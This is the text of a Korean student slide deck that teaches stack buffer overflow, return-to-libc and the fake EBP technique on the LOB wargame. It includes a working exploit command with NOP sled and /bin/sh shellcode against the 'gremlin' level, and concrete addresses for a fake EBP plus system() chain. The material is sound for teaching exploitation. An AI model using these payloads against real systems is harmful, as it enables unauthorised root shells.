65
꺄륵>< 시스템 해킹을 해볼까요? 꺄르르륵><

bof기초+rtl+fake_ebp

Embed Size (px)

Citation preview

Page 1: bof기초+rtl+fake_ebp

꺄륵><

시스템 해킹을 해볼까요?

꺄르르륵><

Page 2: bof기초+rtl+fake_ebp

꺄륵><

#whoami조우석����������� ������������������  (OneTwo)

세종대학교����������� ������������������  정보보호학과����������� ������������������  2학년����������� ������������������  

SSG����������� ������������������  (Sejong����������� ������������������  Security����������� ������������������  Group)����������� ������������������  부원����������� ������������������  

Inc0ginto����������� ������������������  운영진����������� ������������������  

차세대보안리더양성프로그램����������� ������������������  BoB����������� ������������������  5기����������� ������������������  교육생����������� ������������������  

blog.asdfasdf.kr����������� ������������������  

원래����������� ������������������  개발했었지만....����������� ������������������  어느순간����������� ������������������  보안����������� ������������������  공부하고����������� ������������������  있네요

OneTwo

Page 3: bof기초+rtl+fake_ebp

꺄륵><

• 시스템해킹

• BOF란?

• BOF의 원리

• BOF를 활용해보자

• RTL

• Fake EBP

• 실습해볼까요?

CONTENTS

Page 4: bof기초+rtl+fake_ebp

꺄륵><

시스템 해킹

OS 또는 프로그램의 취약점(관리자 권한 등 획득)

나쁜짓 하는 것!

뭐하는 것들일까...

펭귄 카와이 ><

Page 5: bof기초+rtl+fake_ebp

꺄륵><

Stack O

verFlow

Heap Ov

erFlow

Integer

OverFlo

w

Type Co

nfusion

Use Afe

r Free

Format

String

Bug

존나 많죠?ㅋ

시스템 해킹

OS 또는 프로그램의 취약점(관리자 권한 등 획득)

나쁜짓 하는 것!

Page 6: bof기초+rtl+fake_ebp

꺄륵><

시스템 해킹

Buffer Overflow!!

버퍼를 넘치게 하면 됩니다.

참 쉽죠?

(stack)

Page 7: bof기초+rtl+fake_ebp

꺄륵><

BOF란?

Buffer?

데이터를 일시적으로메모리 상에 저장하는 임시기억공간

Page 8: bof기초+rtl+fake_ebp

꺄륵><

BOF란?

Buffer?

데이터를 일시적으로메모리 상에 저장하는 임시기억공간

Page 9: bof기초+rtl+fake_ebp

꺄륵><

BOF란?

Page 10: bof기초+rtl+fake_ebp

꺄륵><

BOF란?

A를 1만번이나!!

Page 11: bof기초+rtl+fake_ebp

꺄륵><

BOF란?

Page 12: bof기초+rtl+fake_ebp

꺄륵><

BOF의 원리 프로그램 구동

Page 13: bof기초+rtl+fake_ebp

꺄륵><

BOF의 원리 프로그램 구동

Page 14: bof기초+rtl+fake_ebp

꺄륵><

BOF의 원리 프로그램 구동

스택입니다...

0xffffffff

0x00000000

Page 15: bof기초+rtl+fake_ebp

꺄륵><

BOF의 원리 프로그램 구동

ret

ebp

0x1 0x2

… …

4byte

4byte

8byte

0xffffffff

0x00000000

Page 16: bof기초+rtl+fake_ebp

꺄륵><

BOF의 원리 프로그램 구동

ret

ebp

buf1 buf2

… …

4byte

4byte

8byte

Buffer에 16byte의

값을 넣어주면?

buffer가 사용자로부터 값을 입력 받을 때...

Page 17: bof기초+rtl+fake_ebp

꺄륵><

BOF의 원리 BOF!!

ret

ebp

buf1 buf2

… …

4byte

4byte

8byte A x 16

Page 18: bof기초+rtl+fake_ebp

꺄륵><

BOF의 원리

0x41414141

0x41414141

0x41414141 0x41414141

… …

4byte

4byte

8byte Buffer Overflow!!

BOF!!

Page 19: bof기초+rtl+fake_ebp

꺄륵><

BOF의 원리

0x41414141

0x41414141

0x41414141 0x41414141

… …

4byte

4byte

8byte

특정 영역에 쉘코드 삽입

쉘코드의 주소를 ret에 덮여씌움

Buffer Overflow!!

쉘코드를 수행

Exploit!!

BOF!!

Page 20: bof기초+rtl+fake_ebp

꺄륵><

BOF의 원리 조건!!

SetUID

파일이 실행되는 동안에 잠깐 파일 소유자의 권한을 빌려오고, 작업을 마친후에 다시 권한을 반한

passwd

Page 21: bof기초+rtl+fake_ebp

꺄륵><

BOF의 원리 조건!!

gremlin(상위 상위 레벨 계정)

프로그램 실행시 gremlin 계정 기반으로 프로세스 엑세스 권한 부여

Page 22: bof기초+rtl+fake_ebp

꺄륵><

BOF의 원리 BOF!!

간단한 Buffer Overflow

Page 23: bof기초+rtl+fake_ebp

꺄륵><

BOF의 원리 BOF!!

더미 X

Page 24: bof기초+rtl+fake_ebp

꺄륵><

BOF의 원리 BOF!!

ret

sfp

buffer

… …

4byte

4byte

256byte

260byte의 값

4byte의 return주소

Page 25: bof기초+rtl+fake_ebp

꺄륵><

BOF의 원리 BOF!!

ret

sfp

buffer

… …

4byte

260byte

“x90”*100+”쉘코드”(25)+”x90”*135 buffer의 주소

Page 26: bof기초+rtl+fake_ebp

꺄륵><

BOF의 원리 BOF!!

&buffer

0x90909090

0x90909090 0x90909090 0x90909090 0x90909090

… ShellCode

… 0x90909090 0x90909090 0x90909090 0x90909090

buffer (256)

ebp (4byte)

ret (4byte)

Page 27: bof기초+rtl+fake_ebp

꺄륵><

BOF의 원리 BOF!!

0xbffff8c8

Page 28: bof기초+rtl+fake_ebp

꺄륵><

BOF의 원리 BOF!!

./gremlin `python -c 'print "\x90"*100+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"+"\x90"*135+"\xc8\xf8\xff\xbf"'`

Page 29: bof기초+rtl+fake_ebp

꺄륵><

BOF의 원리 BOF!!

Page 30: bof기초+rtl+fake_ebp

꺄륵><

BOF를 활용해보자

과연 이것만으로 해킹 가능?

물론 가능하기는 합니다.

??!!!

Page 31: bof기초+rtl+fake_ebp

꺄륵><

BOF를 활용해보자

보호기법ㅋ

Page 32: bof기초+rtl+fake_ebp

꺄륵><

BOF를 활용해보자

특정 메모리 영역을 필터링

DEP / NX

스택, 힙 같은 영역의 코드가 실행되지 않도록 차단

버퍼 초기화, argv검사 등등

그 외, ASLR, Stack Cookie, ASCII-Armor, Canary 등등

Page 33: bof기초+rtl+fake_ebp

꺄륵><

BOF를 활용해보자

RTL Fake EBPReturn to Library(Libc)

DEP특정영역����������� ������������������  필터링

ret까지만����������� ������������������  오버플로우����������� ������������������  가능

Page 34: bof기초+rtl+fake_ebp

꺄륵><

RTLReturn to Library(Libc)

DEP����������� ������������������  우회

libc -> 스택상에 있는 것이 아님

Page 35: bof기초+rtl+fake_ebp

꺄륵><

RTLReturn to Library(Libc)

쉘코드 없이 Exploit 가능

system, exec

ㄱㅇㄷ

Page 36: bof기초+rtl+fake_ebp

꺄륵><

RTLReturn to Library(Libc)

system() &system

나는 쓰레기에요..ㅠㅠ(4byte)

&/bin/sh

ebp+8참조

Page 37: bof기초+rtl+fake_ebp

꺄륵><

RTLReturn to Library(Libc)

system() &system

나는 쓰레기에요..ㅠㅠ(4byte)

&/bin/sh

ebp+8참조

ret 또는 eip

Page 38: bof기초+rtl+fake_ebp

꺄륵><

RTLReturn to Library(Libc)

&system, &/bin/sh

?

Page 39: bof기초+rtl+fake_ebp

꺄륵><

RTLReturn to Library(Libc)

gdb coding

Page 40: bof기초+rtl+fake_ebp

꺄륵><

RTL

&system

ebp

buffer

쓰레기..에요 ㅠ

&/bin/sh

ret (4byte)

쓰레기에요 ㅠ.ㅠ (4byte)

bin/sh(4byte)

Page 41: bof기초+rtl+fake_ebp

꺄륵><

Fake EBP

특정영역����������� ������������������  필터링

ret까지만����������� ������������������  오버플로우����������� ������������������  가능

EBP를 속인다.

ret

ebp

buf1 buf2

… …

What?

Page 42: bof기초+rtl+fake_ebp

꺄륵><

Fake EBP

ret

ebp

buf1 buf2

… …

Page 43: bof기초+rtl+fake_ebp

꺄륵><

Fake EBPleave

move esp, ebppop ebp

pop eip

jmp eip

ret

&leave

$buffer-4

buf1 buf2

buffer-4

Page 44: bof기초+rtl+fake_ebp

꺄륵><

Fake EBP

&leave

$buffer-4

buf1 buf2

buffer-4

leave

move esp, ebppop ebp

&leave

ret

esp 에요><

ebp 에요><

Page 45: bof기초+rtl+fake_ebp

꺄륵><

Fake EBP

&leave

$buffer-4

buf1 buf2

buffer-4

leave

move esp, ebppop ebp

ret

esp 에요>< ebp 에요><

실행!!

&leave

Page 46: bof기초+rtl+fake_ebp

꺄륵><

Fake EBP

&leave

$buffer-4

buf1 buf2

buffer-4

leave

move esp, ebppop ebp

ret

실행!!

&leave

esp 에요><

ebp 에요><

Page 47: bof기초+rtl+fake_ebp

꺄륵><

Fake EBP

&leave

$buffer-4

buf1 buf2

buffer-4

leave

move esp, ebppop ebp

ret

실행!!&leave

esp 에요><

ebp 에요><

Page 48: bof기초+rtl+fake_ebp

꺄륵><

Fake EBP

&leave

$buffer-4

buf1 buf2

buffer-4

leave

move esp, ebppop ebp

retesp 에요>< ebp 에요><

실행!!

pop eip

jmp eip

Page 49: bof기초+rtl+fake_ebp

꺄륵><

Fake EBP

&leave

$buffer-4

buf1 buf2

buffer-4

leave

move esp, ebppop ebp

ret

esp 에요><

실행!!

pop eip

jmp eip

Page 50: bof기초+rtl+fake_ebp

꺄륵><

Fake EBP

&leave

$buffer-4

buf1 buf2

buffer-4

leave

move esp, ebppop ebp

ret

buffer의 내용 수행

실행!!

pop eip

jmp eip

Page 51: bof기초+rtl+fake_ebp

꺄륵><

실습해볼까요?

Fake EBP + RTL

LOB 16Level

Page 52: bof기초+rtl+fake_ebp

꺄륵><

실습해볼까요?

Page 53: bof기초+rtl+fake_ebp

꺄륵><

실습해볼까요?&leave = 0x080484df

Page 54: bof기초+rtl+fake_ebp

꺄륵><

실습해볼까요?&leave = 0x080484df

&system() = 0x40058ae0

Page 55: bof기초+rtl+fake_ebp

꺄륵><

실습해볼까요?&leave = 0x080484df

&system() = 0x40058ae0

&buffer-4 = 0xbffffa5c

Page 56: bof기초+rtl+fake_ebp

꺄륵><

실습해볼까요?&leave = 0x080484df

&system() = 0x40058ae0

&buffer-4 = 0xbffffa5c

&/bin/sh = 0x400fbff9

Page 57: bof기초+rtl+fake_ebp

꺄륵><

실습해볼까요?

&leave = 0x080484df

&system() = 0x40058ae0

&buffer-4 = 0xbffffa5c

&/bin/sh = 0x400fbff9

쓰레기에요...ㅠㅠ

쓰레기에요...ㅠㅠ

4byte

4byte

4byte

28byte

4byte

4byte

Page 58: bof기초+rtl+fake_ebp

꺄륵><

실습해볼까요?

Page 59: bof기초+rtl+fake_ebp

꺄륵><

실습해볼까요?

Page 60: bof기초+rtl+fake_ebp

꺄륵><

실습해볼까요?

0xbffffa2c??

&system() = 0x40058ae0

Page 61: bof기초+rtl+fake_ebp

꺄륵><

실습해볼까요?

Page 62: bof기초+rtl+fake_ebp

꺄륵><

실습해볼까요?

Page 63: bof기초+rtl+fake_ebp

꺄륵><

출처

대학일기 네이버웹툰 짤....

구글에서 퍼온 수많은 짤들

LOB

Page 64: bof기초+rtl+fake_ebp

꺄륵><

끄읕

Page 65: bof기초+rtl+fake_ebp

꺄륵><

QnA

QnA